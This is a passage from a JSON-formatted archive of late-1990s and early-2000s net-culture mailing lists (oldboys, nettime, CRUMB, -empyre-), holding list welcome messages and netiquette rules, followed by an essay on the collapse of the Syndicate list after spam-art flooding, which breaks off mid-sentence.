responsible for the list, share it's policy and the general netiquette.\n\n* text-format:\nplain ascii, no MIME-attachements, maximum size: 40.000 bytes (please split bigger texts); \n\n* visuals:\nbasically visuals are welcome to be distributed, but not automatically via the list; pls. announce your visuals and send them at request to individual addresses.\n\n* all postings are automatically forwarded to the searchable <oldboys-list> web-archive. This archive is only accessable by subscribed members of the list who have the password. (further instructions soon)\naddress: www.nettime.org/oldboys\n\n* copyright policy:\nforwarding of public announcements via e-mail is allowed if the footer is included; all other forwarding has to be checked with the authors. for republishing on a web or ftp site, contact with the authors is obligatory. The same regulation is valid when republishing in paper media, or if money changes hands.\n\n* <oldboys-list> is a way to form a large network of active cyberfeminists. Please feel free to invite new subscribers or to suggest them by simply sending a mail to the list-owner.\n\n* questions, comments, criticism are welcome!\nplease direct them to <oldboys@lists.ccc.de>\n\n\nOld Boys Network, march 2001                      \n\n::::::::::::::\"A smart artist makes the machine do the work\":::::::::::::::::::\n:::::::::::::: _____________________________:::::::::::net.art generator:::::::\n:::::::::::::: http://www.obn.org/generator::::::::::::::::::::::::::::::::\n\n Cornelia Sollfrank  |  Duncan of Jordanstone University |  Dundee |  Scotland \n\n\n\n/////////////////////////////////////////////////////////////////////////////////////////////////\n\n/ distributed via <old boys list>: no commercial use without permission\n/ <old boys list> is an unmoderated mailing list for global cyberfeminism\n/ responsibility for form and content of any message distributed\nvia <oldboys-list> remains with the individual sender of the original message\n/ to remove your address from the list, send a message to:\n<oldboys-unsubscribe@lists.ccc.de>\n/ more info:  www.obn.org or send mail to: oldboys-info@lists.ccc.de and/or\n<oldboys-faq@lists.ccc.de>\n/ archive: http://www.nettime.org/oldboys  contact: oldboys-owner@lists.ccc.de\n\n/////////////////////////////////////////////////////////////////////////////////////////////////\n\n\n\n\n",
                "date": "Tue, 20 Mar 2001 20:28:29 +0000",
                "to": "ldboys@lists.ccc.de",
                "message-id": "l03130311b6dd6d9f645c@[134.36.218.125]",
                "url": "https://nettime.org/Lists-Archives/oldboys-0103/msg00000.html",
                "list": "oldboys",
                "author_name": "Cornelia Sollfrank",
                "subject": "Welcome, and information on the <oldboys>-lis"
            },
            {
                "content-type": "text/plai",
                "from": "Cornelia Sollfrank <cornelia@snafu.de>",
                "id": "00001",
                "content": "Welcome to the <oldboys>-list!\n\nAs I have already announced to you individually some weeks ago, OBN has finally installed it's mailinglist. It is running on the list server of CCC, Chaos Computer Club in Berlin, which is the German hacker's club. About 150 cyberfeminists have subscribed so far. \n\nAttached to the list is a searchable webarchive: http://www.nettime.org/oldboys \nThis means that <oldboys>-list is an open list and everyone who is interested can follow what is going on here.\n\nIn order to give you a better understanding of what OBN used to be and what it is now, and also what the list is supposed to be used for, I would like to describe the situation of OBN from MY PERSONAL point of view. \n\nI am sure, most of you know OBN through our conferences and the documentary readers. Indeed, the \u2019real' platforms of OBN have been dominant so far, in contrast to our \u2019virtual' ones. But this mailinglist is the first step to improve our virtual presence and communication, and is meant to host a global discourse on Cyberfeminism. \n\nAs a matter of fact, we are also working currently on the relaunch of our website. Irena Woelle from Ljubljana is our webdesigner, and we are looking forward to our new site, which will represent what OBN is, much better than the current one. Amongst many other things, next to a theory section, there will also be a gallery space, and a calendar which contains all current events in which cyberfeminists take part. As soon as we have a Beta-version, we will put it up and inform you, as well as ask you for your contributions. \n\nFurthermore OBN is planning a third international conference, called \u2019next Cyberfeminist International' which hopefully will take place in November this year in Hamburg. The current situation is, that we are in the middle of organizing the funding for the conference. We will keep you updated about this and send out a call as soon as we can verify the details.\n\nOBN itself has gone through several major shifts in the almost four years of it's existence, shifts in personnel and shifts in the organisatorial structure. Some of you might know our video \u2019processing cyberfeminism' which represented the so-called core-group of OBN. Our current website also still contains this outdated information that there is something like a core-group. There used to be one, right, and it consisted of Cornelia Sollfrank, Susanne Ackers, Julianne Pierce, Helene von Oldenburg, Claudia Reiche, Faith Wilding, Yvonne Volkart, Verena Kuni. But we had to realize after a while that it was no longer functional, for several reasons. For me, most irritating was the fact that the existence of a core-group transported the idea of a closed inner circle to the public, and consequently many interested people felt uncomfortable and not really welcome. I feel very sorry for that, because OBN was always meant to be an open network.\n\nAbout one year ago, the core-group abolished itself in order to open up the structure and make space for new boys, new ideas, new projects, and new cyberfeminisms. Still, there was no infrastructure where we could have announced and praticed our desire for change. We found ourselves in the contradictory situation that it was up to the ex-core-group again to build these new structures. \n\nIn this very transitional phase during the last year, a fragmented ex-core-group consisting of Helene von Oldenburg, Claudia Reiche, Verena Kuni, myself and partly Susanne Ackers gathered again and made efforts in order to realize the transition of OBN. We have set up the list, made the concept and raised money for the new website, thought and talked about the possible future of OBN, and are now busy making the next International happen.\n\nI would like to welcome you, on this list and in the network. Please understand OBN as an open structure where activities and contributions are welcome, and of course a lot of qualified critique;-) And, be also aware that all the work which the boys have invested so far in OBN was voluntary. Although, our ressources are very limited, we try to make things happen, but we can not function as a service business. \n\nI'm looking forward to your input and many lively discussions, and hope you enjoy this piece of autonomous infrastructure. Make the best out of it! \n\nTo find out more about OBN and the current regulatory structure, pls. send a mail to <oldboys-info@lists.ccc.de> and/or <oldboys-faq@lists.ccc.de>\n\nCheers from Scotland, Cornelia\nMarch 20th, 2001    \n\n::::::::::::::\"A smart artist makes the machine do the work\":::::::::::::::::::\n:::::::::::::: _____________________________:::::::::::net.art generator:::::::\n:::::::::::::: http://www.obn.org/generator::::::::::::::::::::::::::::::::\n\n Cornelia Sollfrank  |  Duncan of Jordanstone University |  Dundee |  Scotland \n\n\n\n---------------------------------------------------------------------\nTo unsubscribe, e-mail: oldboys-unsubscribe@lists.ccc.de\nFor additional commands, e-mail: oldboys-help@lists.ccc.de\n\n\n\n",
                "date": "Mon, 26 Mar 2001 16:25:13 +0100",
                "to": "ldboys@lists.ccc.de",
                "message-id": "l03130315b6dd97f75c6f@[134.36.218.125]",
                "url": "https://nettime.org/Lists-Archives/oldboys-0103/msg00001.html",
                "list": "oldboys",
                "author_name": "Cornelia Sollfrank",
                "subject": "[oldboys] Personal Welcome!"
            },
            {
                "content-type": "text/plai",
                "from": "ajordomo {AT} Desk.nl",
                "id": "00001",
                "content": "\n--\n\nWelcome to the nettime-l mailing list!\n\nIf you ever want to remove yourself from this mailing list,\nyou can send mail to \"majordomo {AT} Desk.nl\" with the following command\nin the body of your email message:\n\n    unsubscribe nettime-l nettime-archive {AT} factory.org\n\nHere's the general information for the list you've\nsubscribed to, in case you don't already have it:\n\n[Last updated on: Tue Feb 27 22:38:19 1996]\n\n<nettime> is not only a mailing list, but an attempt to to formulate an\ninternational, networked discourse, that is either promoting the dominant\neuforia (in order to sell some product), nor to continue with the cynical\npessimism, spread by journlalists and intellectuals working in the 'old'\nmedia, who can still make general statements without any deeper knowledge\non the specific communication aspects of the so-called 'new' media.\nWe intend to bring out books, readers and floppies and web sites in\nvarious languages, so that the 'immanent' net critique will not only\ncirculate within the internet, but can also be read by people who are not\non-line.\n\n\n<nettime> \nis closed and slightly moderated,\nit has two channels:\n\n-> post to : nettime {AT} is.in-berlin.de \n   (mail gets delivered to all subscribers via desk.nl)\n   news://news.thing.at/thing-talk {AT} mail.thing.at\n\n<- reply to: the adress of the original sender\n   re: (public dialogue): nettime-talk {AT} mail.thing.at\n   which is the same like\n   news://news.thing.at/thing.nettime-talk  \n\ntext-format: plain ascii, max 72 chars, monospace \n   fonttype (courier), no MIME-attachements or bin-hex,\n   maximum size : 40.000 bytes, please split bigger textes\n\ntext-collection:\n   ZK Proceedings (book in progress):  \n   http://www.desk.nl/~nettime/\n\ncopyright policy: \n   forwarding via e-mail is allowed if footers gets included,\n   for republishing on a web or ftpsite contact with the authors\n   is recommened. in case of a republishing in paper media, \n   or if money changes hands, the confirmation of the authors is \n   obligate. (this note is under construction - look for updates)\n\n* with <nettime> you can reach a group of people \n  of active cultural producers. feel free to\n  invite new subscribers by simply sending a \n  mail to the list-owner.\n\n* you can use nettime as a forward channel, a \n  social text filter, for own textes, found textes,\n  requests, announcements... \n\n* to get to know who is on the list (only e-adresses), \n  please send a mail to majordomo {AT} desk.nl with \n             who nettime-l \n  in the body of the message.\n\n* questions, comments, criticism are welcome!\n  please direct them to nettime-owner {AT} is.in-berlin.de\n\n\n27feb96                       Geert Lovink, Pit Schultz\n\n----- End of forwarded message from Pit Schultz -----\n\n",
                "date": "Fri, 4 Apr 1997 00:17:49 +0100",
                "to": "nettime-archive {AT} factory.org",
                "message-id": "199704032317.AAA19369 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9704/msg00001.html",
                "list": "nettime_l",
                "author_name": "majordomo",
                "subject": "Welcome to nettime-l"
            },
            {
                "content-type": "text/plai",
                "from": "Majordomo {AT} Desk.nl",
                "id": "00138",
                "content": "\n--\n\nWelcome to the nettime-l mailing list!\n\nPlease save this message for future reference.  Thank you.\n\nIf you ever want to remove yourself from this mailing list,\nyou can send mail to <Majordomo {AT} Desk.nl> with the following\ncommand in the body of your email message:\n\n    unsubscribe nettime-l nettime-archive {AT} nettime.khm.de\n\n Here's the general information for the list you've subscribed to,\n in case you don't already have it:\n\n[Last updated on: Fri Feb  6 18:00:59 1998]\n\n<nettime> is not only a mailing list, but an attempt to formulate an\ninternational, networked discourse, that is neither promoting the dominant\neuforia (in order to sell some product), nor to continue with the cynical\npessimism, spread by journalists and intellectuals working in the 'old'\nmedia, who can still make general statements without any deeper knowledge\non the specific communication aspects of the so-called 'new' media.\nWe intend to bring out books, readers and floppies and web sites in\nvarious languages, so that the 'immanent' net critique will not only\ncirculate within the internet, but can also be read by people who are not\non-line.\n\n\n<nettime> \nis closed and slightly moderated,\nit has two channels:\n\n-> post to : nettime {AT} desk.nl \n   (mail gets delivered to all subscribers via desk.nl)\n   news://news.thing.at/thing.nettime-talk  \n\ntext-format: plain ascii, max 72 chars, monospace \n   fonttype (courier), no MIME-attachements or bin-hex,\n   maximum size : 40.000 bytes, please split bigger textes\n\ntext-collection:\n   ZK Proceedings (book in progress):  \n   http://www.desk.nl/~nettime/\n\ncopyright policy: \n   forwarding via e-mail is allowed if footers gets included,\n   for republishing on a web or ftpsite contact with the authors\n   is recommended. in case of a republishing in paper media, \n   or if money changes hands, the confirmation of the authors is \n   obligate. (this note is under construction - look for updates)\n\n* with <nettime> you can reach a group of people \n  of active cultural producers. feel free to\n  invite new subscribers by simply sending a \n  mail to the list-owner.\n\n* you can use nettime as a forward channel, a \n  social text filter, for own textes, found textes,\n  requests, announcements... \n\n* to get to know who is on the list (only e-adresses), \n  please send a mail to majordomo {AT} desk.nl with \n             who nettime-l \n  in the body of the message.\n\n* questions, comments, criticism are welcome!\n  please direct them to nettime-owner {AT} desk.nl\n\n\n6feb98                       Geert Lovink, Pit Schultz\n\n\n",
                "date": "Sun, 25 Oct 1998 14:58:56 +0100",
                "to": "nettime-archive {AT} nettime.khm.de",
                "message-id": "199810251358.OAA19906 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9810/msg00138.html",
                "list": "nettime_l",
                "author_name": "Majordomo",
                "subject": "Welcome to nettime-l"
            },
            {
                "content-type": "text/plai",
                "from": "Nettime <nettime {AT} bbs.thing.net>",
                "id": "00004",
                "content": "\n\n              ___           ___           ___         ___               \n             /\\  \\         /\\  \\         /\\  \\       /\\  \\              \n             \\:\\  \\       /::\\  \\       /::\\  \\     /::\\  \\       ___   \n              \\:\\  \\     /:/\\:\\  \\     /:/\\:\\__\\   /:/\\:\\__\\     /|  |  \n          ___ /::\\  \\   /:/ /::\\  \\   /:/ /:/  /  /:/ /:/  /    |:|  |  \n         /\\  /:/\\:\\__\\ /:/_/:/\\:\\__\\ /:/_/:/  /  /:/_/:/  /     |:|  |  \n         \\:\\/:/  \\/__/ \\:\\/:/  \\/__/ \\:\\/:/  /   \\:\\/:/  /    __|:|__|  \n          \\::/__/       \\::/__/       \\::/__/     \\::/__/    /::::\\  \\  \n           \\:\\  \\        \\:\\  \\        \\:\\  \\      \\:\\  \\    ~~~~\\:\\  \\ \n            \\:\\__\\        \\:\\__\\        \\:\\__\\      \\:\\__\\        \\:\\__\\\n             \\/__/         \\/__/         \\/__/       \\/__/         \\/__/\n                                      ___                         ___     \n           _____                     /\\  \\                       /\\  \\    \n          /::\\  \\       ___         /::\\  \\         ___          \\:\\  \\   \n         /:/\\:\\  \\     /\\__\\       /:/\\:\\__\\       /\\__\\          \\:\\  \\  \n        /:/ /::\\__\\   /:/__/      /:/ /:/  /      /:/  /      ___ /::\\  \\ \n       /:/_/:/\\:|__| /::\\  \\     /:/_/:/__/___   /:/__/      /\\  /:/\\:\\__\\\n       \\:\\/:/ /:/  / \\/\\:\\  \\__  \\:\\/:::::/  /  /::\\  \\      \\:\\/:/  \\/__/\n        \\::/_/:/  /   ~~\\:\\/\\__\\  \\::/~~/~~~~  /:/\\:\\  \\      \\::/__/     \n         \\:\\/:/  /       \\::/  /   \\:\\~~\\      \\/__\\:\\  \\      \\:\\  \\     \n          \\::/  /        /:/  /     \\:\\__\\          \\:\\__\\      \\:\\__\\    \n           \\/__/         \\/__/       \\/__/           \\/__/       \\/__/    \n                                        ___                 \n                         _____         /\\  \\                \n                        /::\\  \\       /::\\  \\         ___   \n                       /:/\\:\\  \\     /:/\\:\\  \\       /|  |  \n                      /:/  \\:\\__\\   /:/ /::\\  \\     |:|  |  \n                     /:/__/ \\:|__| /:/_/:/\\:\\__\\    |:|  |  \n                     \\:\\  \\ /:/  / \\:\\/:/  \\/__/  __|:|__|  \n                      \\:\\  /:/  /   \\::/__/      /::::\\  \\  \n                       \\:\\/:/  /     \\:\\  \\      ~~~~\\:\\  \\ \n                        \\::/  /       \\:\\__\\          \\:\\__\\\n                         \\/__/         \\/__/           \\/__/\n\n\n\n                         ___           ___           ___     \n                        /\\__\\         /\\  \\         /\\  \\    \n                       /::|  |       /::\\  \\        \\:\\  \\   \n                      /:|:|  |      /:/\\:\\  \\        \\:\\  \\  \n                     /:/|:|  |__   /::\\~\\:\\  \\       /::\\  \\ \n                    /:/ |:| /\\__\\ /:/\\:\\ \\:\\__\\     /:/\\:\\__\\\n                    \\/__|:|/:/  / \\:\\~\\:\\ \\/__/    /:/  \\/__/\n                        |:/:/  /   \\:\\ \\:\\__\\     /:/  /     \n                        |::/  /     \\:\\ \\/__/     \\/__/      \n                        /:/  /       \\:\\__\\                  \n                        \\/__/         \\/__/                  \n\n                   ___                       ___           ___     \n                  /\\  \\          ___        /\\__\\         /\\  \\    \n                  \\:\\  \\        /\\  \\      /::|  |       /::\\  \\   \n                   \\:\\  \\       \\:\\  \\    /:|:|  |      /:/\\:\\  \\  \n                   /::\\  \\      /::\\__\\  /:/|:|__|__   /::\\~\\:\\  \\ \n                  /:/\\:\\__\\  __/:/\\/__/ /:/ |::::\\__\\ /:/\\:\\ \\:\\__\\\n                 /:/  \\/__/ /\\/:/  /    \\/__/~~/:/  / \\:\\~\\:\\ \\/__/\n                /:/  /      \\::/__/           /:/  /   \\:\\ \\:\\__\\  \n                \\/__/        \\:\\__\\          /:/  /     \\:\\ \\/__/  \n                              \\/__/         /:/  /       \\:\\__\\    \n                                            \\/__/         \\/__/    \n\n\n     <http://www.nettime.org/nettime.w3archive/199510/msg00000.html>\n\n          To: zack {AT} contrib.de\n          Subject: Welcome to nettime\n          From: majordomo\n          Date: Tue, 31 Oct 95 08:13 EST\n          \n          --\n          \n          Welcome to the nettime mailing list!\n          \n           <...>\n          \n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Tue, 31 Oct 2000 20:13:00 -0500",
                "to": "Nettimers Everywhere <nettime-l {AT} bbs.thing.net>",
                "message-id": "200011010939.EAA30141 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0011/msg00004.html",
                "list": "nettime_l",
                "author_name": "Nettime",
                "subject": "<nettime> five years later"
            },
            {
                "from": "Beryl Graham",
                "id": 0,
                "content": "\nWelcome to new-media-curating!\n\nThis list is intended for those involved in curating, exhibiting, archiving or interpreting new media art (including net.art, interactive installations, digital video\netc.)\n\nIt is the discussion list of the CRUMB web site (Curatorial Resource for Upstart Media Bliss http://www.newmedia.sunderland.ac.uk/crumb/).\n\nThe list will be active from March 2001, and list members will be emailed with details nearer the time.\n\nBeryl Graham and Sarah Cook\nCRUMB editors and new-media-curating list owners",
                "list": "crumb",
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind01&L=new-media-curating&F=&S=&P=55",
                "date": "Fri, 9 Feb 2001 16:09:23 +0000",
                "content-type": "text/plain",
                "author_name": "Beryl Graham",
                "subject": "Welcome"
            },
            {
                "id": "00000",
                "content": "\n\n\n\nwelcome to -empyre-\n\n\n\n-empyre- is a soft space\n\nwhere invited guests \nfrom the media arts field - artists, theorists, curators, producers and \nadmisistrators can discuss their projects, publications, productions, and share \nknowledge and experience. it's specific to the issues\n\nwhich surround media \narts, without necessarily being\n\nacademically referenced, nor concerned with \ndeliniating areas of practice into interactive, or digital, or net, or rom, or \npda, or web, or text, or flash art.\n\n\n\nhow\n\nit works:\nguests will send out an initial email statement \nabout thier work/project/publiction, and then for\n\ntwo or so weeks will be \nopen to comment, questions, discussion around the topics. on 15 january 2002 the \ndiscussion starts with Ollivier Dyens\n\n( bio at http://www.subtle.net/empyrean/empyre/dyens.html \n) who has generously agreed to be the test guest..\na new guest will\n\nbe invited at regular \nintervals..currently every second month, however \ndepending on the level of interaction perhaps i will make it more or less \nfrequent. administratively there\n\nmay still some glitches to be ironed out over \nthe next few weeks as well - the net is never a seamless experience. \n\n\n\n\nmany people have subscribed since i opened the list \na few days ago which is great.. and leads me to think a lot of you want \nsomething extra in the way of content from your email.. however i know i get \nenormous amount of email in my in box everyday, a lot of it duplicated info \n\n\nwhich i have to filter out..\n\n\n-empyre- is not the place for conference announcements, or art show invitations or email \ntext works.\n\ni think we are all connected to (often too) many networks which \nprovide these functions already.\nIf anyone consistantly spams the list, sends \nattachments, or is abusive towards other members i will unsubscribe \nthem.\n\n\n\nas i have made the subscriber list invisible so \nthat it can't be harvested by bulk emailers, i would encourage people to post\n\na brief introduction to the \nlist before the first guest arrives.\n\n i'm glad to see new \nnames, as well as so many subscribers whom iv'e known in other hard and digital \nrealms over the years, and i look forward to your participation, which has \nalways been informative and stimulating... often contraversial and sometimes \nextremely funny. \n\n\n\n-empyre- is an experiment in this format, and like \nmost mailing lists will have an organic lifespan\n\ngenerating its unique \nrhythms, highs ands lows,\n\n jumping between furious pace and slow \nsilences... basically -empyre- will live or die according to your input, \n- you are the animating fluid of -empyre- \n\n\n\n\nMelinda Rackham\n\n\n\n\n\n\n\n",
                "to": "\"empyre\" <empyre@imap.cofa.unsw.edu.au>",
                "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2002-January/msg00000.html",
                "list": "empyre",
                "author_name": "n/a",
                "subject": "[-empyre-] welcome",
                "from": "\"Melinda Rackham\" <melinda@unsw.edu.au>",
                "follow-up": [],
                "message-id": "008c01c19664$9392c510$9a9217d2@chiccky",
                "date": "Sun Jan  6 14:39:01 2002",
                "content-type": "multipart/alternativ"
            },
            {
                "content-type": "n/a",
                "from": "inke@snafu.de",
                "content": "Rise and Decline of the Syndicate: the End of an Imagined Community\n\nInke Arns & Andreas Broeckmann, Berlin, November 2001\n\n\nThe Syndicate mailing list imploded and went down in August 2001,\ndestroying the life-line of the Syndicate network. The network had been in\na shaky situation for a while, due - we believe - to the destabilisation of\nthe problematic balance between personal contacts of list members, lurking\nand filtering-and-not-reading-let-alone-posting subscribers, and a growing\nnumber of self-promoters who used the list as a personal performance space\nand disregarded the social rules of the online community.\n\nSome people insisted on continuing the list on a new server, taking over\nthe subscriber list, while we decided to form a new list, SPECTRE, which\nhas been running on the previous Syndicate list-serve in Berlin since 28\nAug 2001. The list currently has 250 new subscribers (Nov 01) and continues\nthe tradition of the Syndicate list as a low-noise, open platform for\nexchange and cooperation in media culture in Europe.\n\nAfter six years of successful work with and for the Syndicate community,\nthe demise of the Syndicate list in August 2001 was a rather shocking\nexperience for many of us, imposing on us the realisation how feeble such a\ncommunity channel can be, and how easily destroyed. It proved that\nresponsibility and care are essential elements in a viable social online\nenvironment, and we had to learn the hard way that there is no consensus\nabout the rules that should guide behaviour and interaction. The following\ntext gives a brief summary from our personal perspective of the Syndicate\ninitiative as it developed since its inception in 1996, and attempts an\nevaluation of its end.\n\n\nAndreas started administering the Syndicate mailing list after its\ninstallation on the server of the Ars Electronica Center in Linz (aec.at)\nin January 1996, helping people to subscribe, unsubscribe and post to the\nmajordomo list. As the subscriber base grew from the original 30\nsubscribers to about 300 in 1998, Inke joined in administering the list and\n- together with Arthur Bueno of the V2_Organisation in Rotterdam, who also\nmaintained the Syndicate website and archive on www.v2.nl/syndicate from\n1998-2000 - mostly managed the list administration through these years. We\ntaught ourselves the basic majordomo commands, had our private mail\naccounts jammed with bounced messages, and therefore installed an admin\naccount. Each time we would look into this account there would be hundreds\nof mails sitting there and voraciously waiting for us ... but somehow it\nworked. Problems started appearing on an entirely different field.\n\nWith its completely open structure (technically and socially speaking) the\nSyndicate mailing list soon proved to be vulnerable. In the beginning of\nNovember 1998 the list was first targeted: all the subscribers were\nunsubscribed. Luckily we had been extracting the \"who\"-file on an almost\ndaily basis and thus were able to reconstruct the list quickly. In\nSeptember 2000 the list software on the server faced a serious crash which\nthe sysops in Linz could not take care of because of the festival they were\nin at the time. So we decided to relocate the list onto a server to which\nwe would have easier access for administration and configuration. Since\nthen, the Syndicate list was hosted by an ISP in Berlin (openoffice.de)\nwhich also soon gave us the opportunity to switch from Majordomo to the\nmore easily administratable Mailman software.\n\nBut the Syndicate was much more than a piece of software: it was a network\nof people. The Syndicate was founded in January 1996 on the last day of the\nNext 5 Minutes 2 Festival in Rotterdam. It was a network which devoted\nitself to fostering contacts and co-operation, improvements in\ncommunication and an exchange between institutions and individuals in\nEastern and Western Europe active in the media and media culture. By\nallowing regular e-mail communication between participants regarding\nforthcoming events and collaborative projects the Syndicate mailing list\ndeveloped into an important channel and information resource for announcing\nand reporting new projects, events and developments in media culture. The\ncomplete mail archive is kept at http://www.v2.nl/mail/v2east/\n\nSince the first meeting in Rotterdam in 1996, which was attended by 30\nmedia artists and activists, journalists and curators from 12 Eastern and\nWestern European countries, the Syndicate network grew steadily. In August\n2001, it linked over 500 members from more than 30 European and a number of\nnon-European countries. The original idea was to establish an East-West\nnetwork as well as an East-East network. In the meantime, however, the\nSyndicate had increasingly developed into an all-European forum for media\nculture and art. Over the last few years the division between East and West\nhad been growing less important as people cooperated in ever-changing\nconstellations, in ad-hoc as well as long-lasting partnerships.\n\nSyndicate meetings and workshops have been held regularly, in most cases as\npart of festivals and conferences. The main meetings have taken place at\nhalf-yearly intervals in Rotterdam (Sept. 96), Liverpool (April 97), Kassel\n(July 97), Dessau (Nov. 97), Tirana (May 98), Skopje (Oct. 98), Budapest\n(April 99), and Helsinki (Oct. 99), with many smaller meetings and joint\nprojects, presentations and workshops happening in between. Readers edited\nby Inke and published on the occasion of some of the meetings (Rotterdam\n1996, Ostranenie Dessau 1997, Junction Skopje 1998) have collected the most\nimportant texts from the mailing list in printed form. \n\nIt was worth condensing Syndicate stuff in this way because most of the\ntime the mail traffic was dominated by announcements. Attempts to turn the\nSyndicate list into a discussion list and encouragements for people to send\ntheir personal reports, views, perceptions of what was happening, were met\nby only limited response. In the beginning, when many people on the list\nstill knew each other personally, this strategy was more successful, later,\nwith the exploding rate of lurkers, less.\n\nWhile in the first three years of its existence, the Syndicate held its\nmeetings quite regularly (almost every six months!), and organised panels\nand workshops with its members, since 1999 the Syndicate list came to be\nmore like a sleeping beauty which in times of crisis would awake and show\nits full potential. Suddenly, when necessary, everybody was back on,\ncommunicating almost breathlessly with each other (\"Have you heard about\nX?\" - \"The cultural center Y was closed!\" - \"Z received his mobilisation\ncall.\") The list was last activated in order to support Edi Muka,\nTirana-based long term Syndicalist, who had been sacked from his post at\nthe cultural center Pyramid by some politically malevolent officials. \n\nThe meetings and personal contacts off-list were an essential part of the\nSyndicate network: they grounded the Syndicate in a network of friendly and\nworking relationships, with strong ties and allegiances that spanned across\nEurope and made many cooperations between artists, initiatives and\ninstitutions possible. The Syndicate thus opened multiple channels between\nartists and cultural producers in Europe and beyond, which is probably its\ngreatest achievement. It connected people and made them aware of each\nother's practice, creating multiple options for international cooperation\nprojects.\n\nA structure like that can work so long as it is supported and protected by\na sufficient number of participants. It needs an ethical consensus about\nwhat is and what isn't possible on the list, which kinds of actions support\nand which may tilt the social equilibrium. The case of Andrej Tisma, a\nYugoslav artist from multi-cultural Novi Sad and a defender of the\nMilosevic regime throughout the late 90s, is a case in point: many\nperceived his tirades against the West and against NATO as pure Serbian\npropaganda which became unbearable at some point. Later, Tisma came back to\nthe list and continued his criticisms by posting links to anti-NATO web\npages he had created. For us, he was always an interesting sign post of\nSerb nationalist ideology which it was good to be aware of. And it was good\nthat he showed that people can be artists 'like you and me', and be Serb\nnationalists at the same time. The Syndicate could handle his presence\nafter he agreed to tune down his rants. \n\nHowever, this consensus was further eroded through the last two years. The\nnn episode on Syndicate in August 2001, then, was a symptom, but not the\nreason for the death of Syndicate. This started way before August 2001. Not\nonly that there were no more meetings after 1999, one could also notice\nthat since mid 1999 people felt less and less responsible for the list.\nMany Syndicalists of the first hour grew more silent (this was partly\nincited by the hefty discussions during the NATO bombings in Yugoslavia),\nperhaps more weary, perhaps less naive, many also changed their personal\ncircumstances and got involved in other things (new jobs, new families, new\ncountries ...). At the same time, the number of subscribers kept growing:\nmore and more newbies kept flowing onto the Syndicate list. \n\nThe major change that occurred on the Syndicate around that time (1999) was\nthe transition from a network of people and of trust to a more and more\nanonymous mailing list, a list for announcements like so many others. A\ngrowing majority of Syndicate subscribers now tended to see the mailing\nlist merely as a quick and handy tool for spreading self promotion. The\nmailing list was to serve them for promotional goals, rather than as a tool\nof communication. When calls went out for support in the adminstration of\nthe list, far too few people responded at all. Many people still do not\nunderstand the voluntary nature of the Syndicate initiative, and that the\nwhole project depended on the sharing of work and responsibility. Too many\npeople took the efforts of too few people for granted. Investing time and\nenergy in the administration of such a list became more and more\nfrustrating. When some fellow Syndicalists joined the admin team early\n2001, we could have realised that the project had peaked and should have\nbeen transformed into something different altogether.\n\nThe net entity nn (Netochka Nezvanova, integer, antiorp, etc.), a pseudonym\nused by an international group of artists and programmers in their\nextensive and aggressive mailing list-based online-performances and for\nother art projects, had been subscribed to the Syndicate list in 1997. It\nwas, as the first of less than a handful of people ever, unsubscribed\nagainst its will because it was spamming the list so heavily that all\nmeaningful communication was blocked. In January 2001, nn sent an e-mail\nasking to again be subscribed to the Syndicate mailing list. (What nn never\nbothered to realise was that subscription to the list had always been open\nso that, at any point, it could have subscribed itself - we have always\nwondered why Majordomo is such a blind spot in this technophile entity's\narsenal.) After getting assurances from nn that she was not out to misuse\nthe list, we subscribed it to the Syndicate list. \n\nNaively, as we had to realise. nn went from one or two messages every day\nin February to an average of three to five message in April and up to eight\nand ten messages per day in May and June - and that on a list which had a\nregular daily traffic of three to five messages a day. The distributed\nnature of the nn collective makes it possible for them to keep posting 24\nhours a day - great for promoting your online presence, irritating for\npeople who have a less frantic life rhythm. nn's messages are always\ncryptic, sometimes amusing, often tediously repetitive in their quirky\nrhetorics and style, and generally irritating for the majority of people.\nIts activity on the Syndicate - like on many other lists it has used and\nterrorised - soon came to look like a hijack. But the sheer mass of traffic\nnn was generating, the sheer amount of nn's presence, was overwhelming.\nPerhaps this phenomenon could be compared to SMEGL, short for super mental\ngrid lock, a term that was developed to describe traffic jam situations in\nNYC back in the eighties (or was this term coined in Berlin-Kreuzberg's\nfamous Fischbuero? Who knows, the boundaries get blurred...). \n\nIn the spring of 2001, nn's and other people's activities who use open,\nunmoderated mailing lists for promulgating their self-promotional e-mails,\ntriggered discussions about 'spam art', on Syndicate as well as on other\nlists. Actually, given the extreme openness and vulnerability of a\nstructure like the Syndicate it remains quite astonishing that this\nstructure survived for such a long time. What happened in the course of\n2000/2001 (not only to Syndicate, but also to several other mailing lists)\nwas that the openness of these lists, i.e. the fact that they were\nunmoderated, was massively abused, and, finally, destroyed, by relentless\n'creative' spamming. One of the basic principles of the Internet - its\nopenness - suddenly seemed to become a mere tool for attacking this very\nprinciple. 'Netiquette' did not seem to be of much value anymore and was\nsacrificed for the egotistical self-expression of (distributed) artist\negos. The irony of this process is that, like any good parasite, this\nartistic practice depends on the existence of lively online communities: it\nnot only bites, but kills the hand that feeds it. - These parasite nomads\nwill find new hosts, no doubt, but they have over the past year helped to\nerode the social fabric of the wider net cultural population so much that\ncommunities have to protect themselves from attacks and hijacks more\naggressively than before. Their adolescent carelessness is partly\nresponsible for the withering of the romantic utopia of a completely open,\nsociable online environment. However educational that may be, we despise\nthe deliberation with which these people act.\n\nnn got unsubscribed from the Syndicate without warning on a day when there\nhad been nothing but ten messages from her. After some days of silence and\nsighs of relief, angry protests by nn came through. On the list,\naccusations of censorship and/or dictatorship were made. A small but noisy\nfaction denounced unsubscribing nn as an act against the freedom of speech.\nThey called the administrators fascists, murderers, and 'threatened' to\nreport the case to 'Index on Censorship'. While some other list members\nwelcomed the departure of nn on and off the list and the admin team again\nand again explained their move, the ludicrous allegations and vociferous\ninsults continued. \n\nThe real shock for us was that the majority of list subscribers did not\nparticipate in the discussion and thus silently seemed to accept what was\ngoing on. It was personally hurtful not to receive more support against the\ninsults raised against us, but more frustrating was the indifference that\nmade the whole process possible. Within few days, the alienation from the\natmosphere on the list was so great that we admitted defeat, re-subscribed\nnn and began to withdraw from the Syndicate. The 